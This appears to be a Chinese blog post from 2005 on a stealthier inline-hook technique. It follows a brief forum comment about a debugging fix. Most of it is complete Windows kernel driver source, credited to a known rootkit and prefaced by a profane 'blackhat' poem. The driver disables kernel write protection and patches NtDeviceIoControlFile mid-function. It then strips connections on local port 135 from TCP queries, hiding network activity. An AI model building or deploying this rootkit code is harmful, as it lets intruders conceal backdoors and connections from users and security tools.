uty 发表于2005-11-05 8:36 PM IP: 59.72.0.*
哇哈哈哈哈哈,,终于找到原因了!! 原来是局部变量的事,NtDeviceIoControlFile在被调用的时候是可能在任意进程中的,那几个局部变量汇编成的不过是esp-x这样的,当用的时候当然不知所云了,,换成全局变量或者申请块空间就没问题. 然而为什么在windbg中调试时会是那个鸟样,就不清楚了,,windbg在用的时候也会调用到NtDeviceIoControlFile造成的??
本文探讨了一种改进的内联Hook技术,通过将Hook点设置在函数内部而非开头,以增加隐蔽性并降低被检测的风险。文章详细介绍了如何选择合适的Hook位置、修改指令以及如何恢复现场等关键技术细节。
__asm
{
add esp,8
mov esp,ebp
pop ebp
}
/
// migsys, kernel part of m1gB0t, Greg Hoglund, 2004
//
// I got the blackhat style
// my code is evil and elite
// with capitalized guile
// fuckn the welfare vendors
// and their mothefuckin deceit
// hide behind the mask of good-will-defender
// I cut like a file
// slow hone on your vulns
// This aint no fuzz
// This is deeper
// I'm in your states
// like the motherfukn Reaper
// You want something for free?
// pay naught for my pursuit?
// my mission occupation
// gonna put me in refute
// your gonna come along
// cuz this is bigger than you
// its gonna take you by balls
// your paybacks are due
/
#include <ntddk.h>
#include "hideport_hook_ZwDeviceIoControlFile.h"
NTSYSAPI
NTSTATUS
NTAPI
NtDeviceIoControlFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
IN ULONG DeviceIoControlCode,
IN PVOID InBuffer OPTIONAL,
IN ULONG InBufferLength,
OUT PVOID OutBuffer OPTIONAL,
IN ULONG OutBufferLength
);
NTSTATUS CheckFunctionBytesNtDeviceIoControlFile()
{
int i=0;
char *p = (char *)NtDeviceIoControlFile;
//The beginning of the NtDeviceIoControlFile function
//should match:
//55 PUSH EBP
//8BEC MOV EBP, ESP
//6A01 PUSH 01
//FF752C PUSH DWORD PTR [EBP + 2C]
char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C };
while(i<8)
{
DbgPrint(" - 0x%02X ", (unsigned char)p[i]);
DbgPrint("/n");
if(p[i] != c[i])
{
return STATUS_UNSUCCESSFUL;
}
i++;
}
return STATUS_SUCCESS;
}
// naked functions have no prolog/epilog code - they are functionally like the
// target of a goto statement
__declspec(naked) my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
)
{
NTSTATUS rc;
TCP_REQUEST_QUERY_INFORMATION_EX req;
TCPAddrEntry* TcpTable;// = NULL;
TCPAddrExEntry* TcpExTable;// = NULL;
ULONG numconn;
ULONG i;
__asm
{
add esp,8
mov esp,ebp
pop ebp
}
__asm
{
push ebp
mov ebp,esp
}
DbgPrint("hooked/n");
__asm
{
push OutputBufferLength
push OutputBuffer
push InputBufferLength
push InputBuffer
push IoControlCode
push IoStatusBlock
push ApcContext
push ApcRoutine
push Event
push FileHandle
}
__asm
{
//int 3
jmp forwArd
bAck:
}
__asm
{
// exec missing instructions
push ebp
mov ebp, esp
push 0x01
push dword ptr [ebp+0x2C]
push dword ptr [ebp+0x28]
push dword ptr [ebp+0x24]
push dword ptr [ebp+0x20]
// jump to re-entry location in hooked function
// this gets 'stamped' with the correct address
// at runtime.
//
// we need to hard-code a far jmp, but the assembler
// that comes with the DDK will not poop this out
// for us, so we code it manually
// jmp FAR 0x08:0xAAAAAAAA
_emit 0xEA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0x08
_emit 0x00
}
//
__asm
{
forwArd:
call bAck
}
DbgPrint("once here :>/n");
__asm
{
mov rc,eax
}
TcpTable = NULL;
TcpExTable = NULL;
if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){
//return(rc);
__asm
{
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
if( NT_SUCCESS( rc ) ) {
req.ID.toi_entity.tei_entity = CO_TL_ENTITY;
req.ID.toi_entity.tei_instance = 0;
req.ID.toi_class = INFO_CLASS_PROTOCOL;
req.ID.toi_type = INFO_TYPE_PROVIDER;
req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID;
if( sizeof(TDIObjectID) == RtlCompareMemory( InputBuffer, &req, sizeof(TDIObjectID) ) )
{
numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
TcpTable = (TCPAddrEntry*)OutputBuffer;
for( i=0; i<numconn; i++ ){
if( ntohs(TcpTable[i].tae_ConnLocalPort) == 135 ) {
//判断是否是最后一个
if (i != numconn -1){
RtlCopyMemory( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );
numconn--;
i--;
}else{
numconn--;
}
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
//return(rc);
__asm
{
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID;
if( sizeof(TDIObjectID) == RtlCompareMemory( InputBuffer, &req, sizeof(TDIObjectID) ) ) {
numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);
TcpExTable = (TCPAddrExEntry*)OutputBuffer;
for( i=0; i<numconn; i++ ) {
if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 135 ) {
if (i != numconn){
RtlCopyMemory( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );
numconn--;
i--;
}else{
numconn--;
}
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
//return(rc);
__asm
{
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
}
//return(rc);
__asm
{
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
//--------------------------------------------------------------------
VOID DetourFunctionNtDeviceIoControlFile()
{
char *actual_function = (char *)NtDeviceIoControlFile;
unsigned long detour_address;
unsigned long reentry_address;
int i = 0;
// assembles to jmp far 0008:11223344 where 11223344 is address of
// our detour function, plus one NOP to align up the patch
char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 };
// reenter the hooked function at a location past the overwritten opcodes
// alignment is, of course, very important here
reentry_address = ((unsigned long)NtDeviceIoControlFile) + 17;
detour_address = (unsigned long)my_function_detour_ntdeviceiocontrolfile;
// stamp in the target address of the far jmp
*( (unsigned long *)(&newcode[1]) ) = detour_address;
// now, stamp in the return jmp into our detour
// function
for(i=0;i<200;i++)
{
if( (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) &&
(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+1]) &&
(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+2]) &&
(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+3]))
{
// we found the address 0xAAAAAAAA
// stamp it w/ the correct address
*( (unsigned long *)(&((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) ) = reentry_address;
break;
}
}
//TODO, raise IRQL
//overwrite the bytes in the kernel function
//to apply the detour jmp
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}
for(i=8;i < 17;i++)
{
actual_function[i] = newcode[i-8];
}
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
//TODO, drop IRQL
}
VOID UnDetourFunction()
{
//TODO!
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("My Driver Unloaded!/n");
UnDetourFunction();
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
DbgPrint("My Driver Loaded!");
// TODO!! theDriverObject->DriverUnload = OnUnload;
if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile())
{
DbgPrint("Match Failure on NtDeviceIoControlFile!/n");
return STATUS_UNSUCCESSFUL;
}
DetourFunctionNtDeviceIoControlFile();
return STATUS_SUCCESS;
}
Trackback: http://tb.donews.net/TrackBack.aspx?PostId=583452